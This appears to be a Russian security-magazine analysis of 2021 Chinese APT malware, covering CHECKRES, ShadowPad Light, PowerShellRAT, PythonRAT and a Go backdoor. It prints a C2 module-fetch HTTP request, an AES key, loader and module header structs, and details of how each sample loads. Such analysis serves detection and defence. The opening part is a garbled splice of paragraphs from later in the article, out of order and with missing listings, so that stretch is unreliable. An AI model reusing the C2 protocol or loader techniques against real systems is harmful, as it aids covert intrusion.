В 2021 году китайские APT-группировки вели себя особенно активно. При этом у каждой из них был свой уникальный инструментарий. Перелопатив тысячи строк вредоносного кода, пойманного во время расследования инцидентов, мы обнаружили немало любопытных фишек, о которых и расскажем в этой статье.
С сервера может быть выгружено до 16 модулей.
Модули приходят в теле HTTP-запроса. Они запакованы, закодированы Base64 и окружены тегом <update>.
Модули представляют собой DLL-файлы, где заголовок‑заглушка MS-DOS заполнен нулями (видно на скриншоте ниже). При загрузке с C&C парсится таблица импортов и релокации. После этого для запуска модуля вызывается entrypoint DLL-файла, где происходит создание потока. Создание потока необходимо, если требуется продолжительная работа модуля, поскольку исполняемый файл работает в одном потоке.
Каждый модуль выводит информацию о своей работе в файл, который расположен по следующему пути:
Файл вывода каждого модуля имеет свое расширение (например, .cap, .kst, .rdd). Содержимое файла зашифровано при помощи операции XOR с генератором псевдослучайных чисел «Вихрь Мерсенна».
Есть еще одна особенность: используется массив, равный двум порядкам рекуррентной последовательности, а именно 1248. Таким образом, изначально инициализируется первая половина массива, после чего согласно алгоритму на основе первой части генерируется вторая половина массива. При использовании всех 624 сгенерированных элементов второй половины первая затирается. А на основе второй половины по рекуррентному соотношению заполняется уже первая.
В итоге одна половина массива всегда содержит данные для генерации другой части. Можно было бы предположить, что это сделано, чтобы упростить реализацию: использование одного цикла для заполнения массива уже псевдослучайными числами вместо двух. Но при заполнении первой части все же приходится делить алгоритм заполнения массива на два цикла, как это реализовано здесь.
И последняя особенность касается «закалки» псевдослучайного числа. В изначальном алгоритме предполагается сначала битовый сдвиг на константу, а затем производится побитовое логическое И. Здесь же порядок изменен, что повлияло на константы, используемые для этой операции. Так, константа 0xefc60000 здесь представлена в виде значения 0xFFFFDF8C.
При выгрузке библиотеки вредоносная hpqhvsei.dll патчит код в памяти hpdigital.exe, что представлено на рисунке ниже. Таким образом, после завершения работы библиотеки и выгрузки ее из памяти основной модуль переходит к вредоносному загрузчику из файла hpqlpvdt.tmp.
Загрузчик в свою очередь расшифровывает полезную нагрузку. Используется алгоритм AES и вот такой ключ:
Далее он ее распаковывает (алгоритм lzma1) при помощи функции RtlDecompressBuffer. Распакованная полезная нагрузка имеет заголовок not full PE, который включает данные о содержащихся секциях и точке входа. Его структура представлена в листинге ниже.
Если дальше разбирать модули, можно увидеть, что у них почти такая же структура заголовка. Единственное отличие — у модулей в начале есть еще одно поле, которое предположительно означает дату создания. Поле notUsedField обозначает ID модуля. Поле MAGIC — сигнатура 0xdeed4554. Сами модули хранятся в запакованном (алгоритм snappy) и зашифрованном виде в ресурсах основной нагрузки. В качестве алгоритма шифрования используется потоковый алгоритм salsa20, константа для расширения ключа — arbitraryconstat.
Отдельно отметим алгоритм обработки релоков. При загрузке PE-файла для применения релоков требуется два числа: изначальный базовый адрес исполняемого файла и базовый адрес, по которому файл был загружен. Высчитывается разница между ними и прибавляется к тому адресу, по которому необходимо применить релок. Формула выглядит так:
В случае ShadowPad Light в структуре присутствует константа, которая участвует в первой операции. Таким образом, у нас выходит следующее преобразование:
Помимо этого, в вычислении адреса релока участвует imagebase, потому что значение RVA содержит в себе значение imagebase.
Одна из характерных особенностей ShadowPad — хранение модулей в реестре. В новом ShadowPad Light она тоже присутствует, но распространяется только на дополнительные модули, которые загружаются с сервера. Там они находятся в таком же виде, в котором хранятся встроенные модули в ресурсах загрузчика полезной нагрузки. То есть зашифрованы и упакованы тем же алгоритмом и имеют ту же структуру заголовка.
Теперь к изменениям, которым подвергся ShadowPad Light. Первое, что бросается в глаза, — тут нет нескольких способов обфускации, которые были в старом ShadowPad. Отсутствуют:
Кроме этого, можно выделить еще ряд отличий:
Далее в таблице представлен список модулей, которые нам довелось проанализировать. Модули, у которых ID в интервале с 0x30 по 0xb0, встроены в сам вредоносный файл и не попадают в реестр. Остальные модули добавляются во время работы ShadowPad и были обнаружены в зараженной системе в реестре.
Перейдем непосредственно к вредоносу. PowershellRAT поставляется в составе трех файлов:
Загружаясь, сервис настраивает окружение .NET и подгружает вредоносную библиотеку
Эта библиотека вызывает метод
Этот файл и есть та самая картинка c режимом RGBA, в которой посредством стеганографии (LSB) спрятан скрипт на PowerShell. Перед извлечением содержимого картинки проверяется ряд параметров, которым она должна соответствовать. Среди них:
Сначала идет заголовок:
Далее — зашифрованный и упакованный скрипт на PowerShell. Алгоритм сжатия — bzip. Алгоритм шифрования — циклический XOR с байтами
После восстановления заголовка появляется возможность произвести декомпиляцию при помощи uncompyle2. Внутри содержится код основной нагрузки вредоносного файла более чем на 1500 строк. Здесь находятся получение команд и их обработка. Шифрование выполняется вшитыми ключами при помощи алгоритма AES, а для общения с сервером C&C используется библиотека zlib. Причем для шифрования принимаемых и отправляемых данных применяются разные ключи.
С другой стороны, мы видим тенденцию к упрощению разработки вредоносного ПО: использование высокоуровневых языков программирования, отказ от обфускации кода в пользу методов усложнения доступа к коду с полезной нагрузкой. Злоумышленники делают ставку на быструю разработку, а также на противодействие обнаружению и быстрому анализу их кода.
Вредоносы часто и так достигают своих целей вне зависимости от используемых методов обфускации. Поэтому защита от комплексного подхода к изучению ВПО китайских хакеров волнует в меньшей степени.
автор r3seh-ya-ru
xakep.ru
CHECKRES
Загрузка
Для запуска основной нагрузки этот вредонос использует пять файлов, которые последовательно запускают друг друга. Как это работает, видно на рисунке ниже. Основная нагрузка запускается файлом cmd, который появляется в системе в самом начале работы вредоноса. Но при этом сам файл cmd запускается еще не существующим в системе скриптом на VBS. Такой комплексный подход к запуску основной нагрузки, вероятно, нужен для того, чтобы обойти поведенческий анализ.
Модули
В начале работы полезной нагрузки с удаленного сервера загружаются модули.POST-запрос для получения модуля
Код:
POST /cgi-bin/pcupd.cgi/http/param_id.000 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Accept-Language: de-at
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Host: <IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: Keep-Alive
lab=3999/06171252&size=1&data=F
Модули приходят в теле HTTP-запроса. Они запакованы, закодированы Base64 и окружены тегом <update>.
Модули представляют собой DLL-файлы, где заголовок‑заглушка MS-DOS заполнен нулями (видно на скриншоте ниже). При загрузке с C&C парсится таблица импортов и релокации. После этого для запуска модуля вызывается entrypoint DLL-файла, где происходит создание потока. Создание потока необходимо, если требуется продолжительная работа модуля, поскольку исполняемый файл работает в одном потоке.
Каждый модуль выводит информацию о своей работе в файл, который расположен по следующему пути:
Код:
%allusersprofile%\{F3F85CAE-3398-45f6-98C2-7DBFD3F3042C}
Вихрь Мерсенна
Модули для шифрования выходных данных используют некриптографический генератор псевдослучайных чисел «Вихрь Мерсенна» с изначальным значением (seed) 11. Все параметры соответствуют стандартному алгоритму для генерации 32-битных значений. В каждом модуле есть несколько характерных особенностей, связанных с реализацией алгоритма. Во‑первых, это изначальная инициализация массива, которая повторяется два раза: при первом заполнении значение seed устанавливается равным 5489. Затем, никак не влияя на предыдущее заполнение, массив заполняется повторно со значением seed, равным 11.
Есть еще одна особенность: используется массив, равный двум порядкам рекуррентной последовательности, а именно 1248. Таким образом, изначально инициализируется первая половина массива, после чего согласно алгоритму на основе первой части генерируется вторая половина массива. При использовании всех 624 сгенерированных элементов второй половины первая затирается. А на основе второй половины по рекуррентному соотношению заполняется уже первая.
В итоге одна половина массива всегда содержит данные для генерации другой части. Можно было бы предположить, что это сделано, чтобы упростить реализацию: использование одного цикла для заполнения массива уже псевдослучайными числами вместо двух. Но при заполнении первой части все же приходится делить алгоритм заполнения массива на два цикла, как это реализовано здесь.
И последняя особенность касается «закалки» псевдослучайного числа. В изначальном алгоритме предполагается сначала битовый сдвиг на константу, а затем производится побитовое логическое И. Здесь же порядок изменен, что повлияло на константы, используемые для этой операции. Так, константа 0xefc60000 здесь представлена в виде значения 0xFFFFDF8C.
SHADOWPAD LIGHT 2021
ShadowPad Light — облегченная версия оригинального ShadowPad без обфускации кода. Несмотря на то что этот семпл очень похож на оригинальный ShadowPad, у него есть свои особенности.Загрузка
ShadowPad Light поставляется тремя файлами:- hpdigital.exe — легитимный исполняемый файл, имеющий подпись компании HP;
- hpqhvsei.dll — вредоносная библиотека, загружается посредством техники DLL hijacking;
- hpqlpvdt.tmp — шифрованная нагрузка, которая содержит распаковщик и полезную вредоносную нагрузку, также хранит в себе первоначальный необходимый для работы набор модулей.
При выгрузке библиотеки вредоносная hpqhvsei.dll патчит код в памяти hpdigital.exe, что представлено на рисунке ниже. Таким образом, после завершения работы библиотеки и выгрузки ее из памяти основной модуль переходит к вредоносному загрузчику из файла hpqlpvdt.tmp.
Загрузчик в свою очередь расшифровывает полезную нагрузку. Используется алгоритм AES и вот такой ключ:
Код:
726e6e7358786d3853483377464f7064
Заголовок основной полезной нагрузки
Код:
struct __unaligned __declspec(align(4)) shadowpadl_header
{
int MAGIC; // 0xdeed4554
int notUsedField;
int EntryPoint;
unsigned __int64 RelocDiffConst;
unsigned int ImageBase;
int SectionCodeVirtualSize;
int SectionCodeSize;
int SectionDataVirtualSize;
int SectionDataSize;
int SectionEncDataVirtualSize;
int SectionEncDataSize;
int SectionRelocSize;
};
Отдельно отметим алгоритм обработки релоков. При загрузке PE-файла для применения релоков требуется два числа: изначальный базовый адрес исполняемого файла и базовый адрес, по которому файл был загружен. Высчитывается разница между ними и прибавляется к тому адресу, по которому необходимо применить релок. Формула выглядит так:
Код:
diff = newimagebase - imagebase
dst = newimagebase + rva
for offset in offsets:
dst[offset] += diff
Код:
diff = newimagebase - imagebase - relocdiffconst
dst = newimagebase + rva - imagebase
for offset in offsets:
dst[offset] += diff
Сравнение с предыдущей версией ShadowPad
Сравним оригинальный ShadowPad с ShadowPad Light. Функция точки входа плагинов в них немного отличается. На рисунке показан код точки входа плагинов старого ShadowPad (слева) и нового (справа).
Одна из характерных особенностей ShadowPad — хранение модулей в реестре. В новом ShadowPad Light она тоже присутствует, но распространяется только на дополнительные модули, которые загружаются с сервера. Там они находятся в таком же виде, в котором хранятся встроенные модули в ресурсах загрузчика полезной нагрузки. То есть зашифрованы и упакованы тем же алгоритмом и имеют ту же структуру заголовка.
Теперь к изменениям, которым подвергся ShadowPad Light. Первое, что бросается в глаза, — тут нет нескольких способов обфускации, которые были в старом ShadowPad. Отсутствуют:
- обфускация вызовов внешних функций;
- обфускация техникой перекрытия инструкций;
- обфускация абсолютными прыжками для перемешивания инструкций.
Кроме этого, можно выделить еще ряд отличий:
- структура заголовка модуля изменилась полностью. Новый ShadowPad не работает с виртуальными таблицами импорта. Вместо этого каждый модуль находит необходимые внешние функции через peb-заголовок. В листингах ниже представлены структуры заголовков плагинов для нового ShadowPad и его старого варианта;
- применяются разные алгоритмы шифрования и архивации модулей;
- модулям назначены новые идентификаторы.
Структура заголовка модуля ShadowPad Light
Код:
struct __unaligned __declspec(align(4)) shadowpadl_plugin_header
{
int Timestamp;
int MAGIC;
int ModuleID;
int EntryPoint;
unsigned __int64 RelocDiffConst;
unsigned int ImageBase;
int SectionCodeVirtualSize;
int SectionCodeSize;
int SectionDataVirtualSize;
int SectionDataSize;
int SectionEncDataVirtualSize;
int SectionEncDataSize;
int SectionRelocSize;
};
Структура заголовка модуля оригинального ShadowPad
Код:
struct __unaligned __declspec(align(4)) old_shadowpad_plugin_header
{
int ImageSize;
int ImageBase;
int RelocSectionVA;
int RelocSectionSize;
int ImportSectionVA;
int ImportSectionSize;
int AddressOfEntryPoint;
int NumberOfSections;
int Timestamp;
int SectionHeaders;
};
POWERSHELLRAT
Главная особенность этого вредоноса — использование стеганографии LSB для хранения полезной нагрузки. Если кратко, то информация хранится в последних битах каждого канала пикселя картинки. То есть для хранения одного байта нужно два пикселя c четырьмя каналами: RGBA. При изменении только последнего бита невозможно увидеть невооруженным взглядом искажение картинки.Перейдем непосредственно к вредоносу. PowershellRAT поставляется в составе трех файлов:
- динамическая библиотека, которая является сервисом;
- подгружаемый сервисом файл, который ищет и загружает вредоносный PowerShell-скрипт;
- картинка, которая содержит PowerShell-скрипт.
Загружаясь, сервис настраивает окружение .NET и подгружает вредоносную библиотеку
Jsprofile.dll.
Эта библиотека вызывает метод
Jsprofile.Jspfilter.Setfilter, который ищет файл с расширением .png.
Этот файл и есть та самая картинка c режимом RGBA, в которой посредством стеганографии (LSB) спрятан скрипт на PowerShell. Перед извлечением содержимого картинки проверяется ряд параметров, которым она должна соответствовать. Среди них:
- размер картинки — ширина и высота должны быть больше определенных значений;
- сигнатура:
f16a921dd97e467c.
Сначала идет заголовок:
Код:
struct header {
char signature[8]; // f16a921dd97e467c
int len_data;
}
52298b5337f5baaa.REMSHELL, SMANAGER, MAIL-O
Следующий семпл, про который хотим рассказать, написан на языке программирования Go. Нам показалось, что он очень похож на семейства вредоносов Mail-O и Smanager. Поэтому мы решили их сравнить и обнаружили развитие в сторону упрощения разработки командного сервера и вредоносного приложения (клиента):- для разработки использован язык Go;
- вернулись к взаимодействию по протоколу HTTP;
- работает в виде самостоятельного исполняемого файла, а не службы.
PYTHONRAT
И еще один вредонос, который разберем в этой статье, — PythonRAT, представляющий собой скомпилированный при помощи pyinstaller исполняемый файл. После извлечения питоновских файлов из исполняемого файла мы найдем файл client, при декомпиляции которого возникает ошибка. При просмотре в hex-редакторе мы увидим, что заголовок pyc-файла отсутствует, вместо этого сразу же идет заголовок CodeObject, а именно тип объекта (0x63), затем пять четырехбайтовых значений.
После восстановления заголовка появляется возможность произвести декомпиляцию при помощи uncompyle2. Внутри содержится код основной нагрузки вредоносного файла более чем на 1500 строк. Здесь находятся получение команд и их обработка. Шифрование выполняется вшитыми ключами при помощи алгоритма AES, а для общения с сервером C&C используется библиотека zlib. Причем для шифрования принимаемых и отправляемых данных применяются разные ключи.
ВЫВОДЫ
В общем, инструментарий китайских APT-группировок отличается двумя интересными моментами. С одной стороны, это большое разнообразие техник и средств для выполнения вредоносных действий. Здесь и использование модульной архитектуры, и широкий ряд применяемых языков программирования.С другой стороны, мы видим тенденцию к упрощению разработки вредоносного ПО: использование высокоуровневых языков программирования, отказ от обфускации кода в пользу методов усложнения доступа к коду с полезной нагрузкой. Злоумышленники делают ставку на быструю разработку, а также на противодействие обнаружению и быстрому анализу их кода.
Вредоносы часто и так достигают своих целей вне зависимости от используемых методов обфускации. Поэтому защита от комплексного подхода к изучению ВПО китайских хакеров волнует в меньшей степени.
автор r3seh-ya-ru
xakep.ru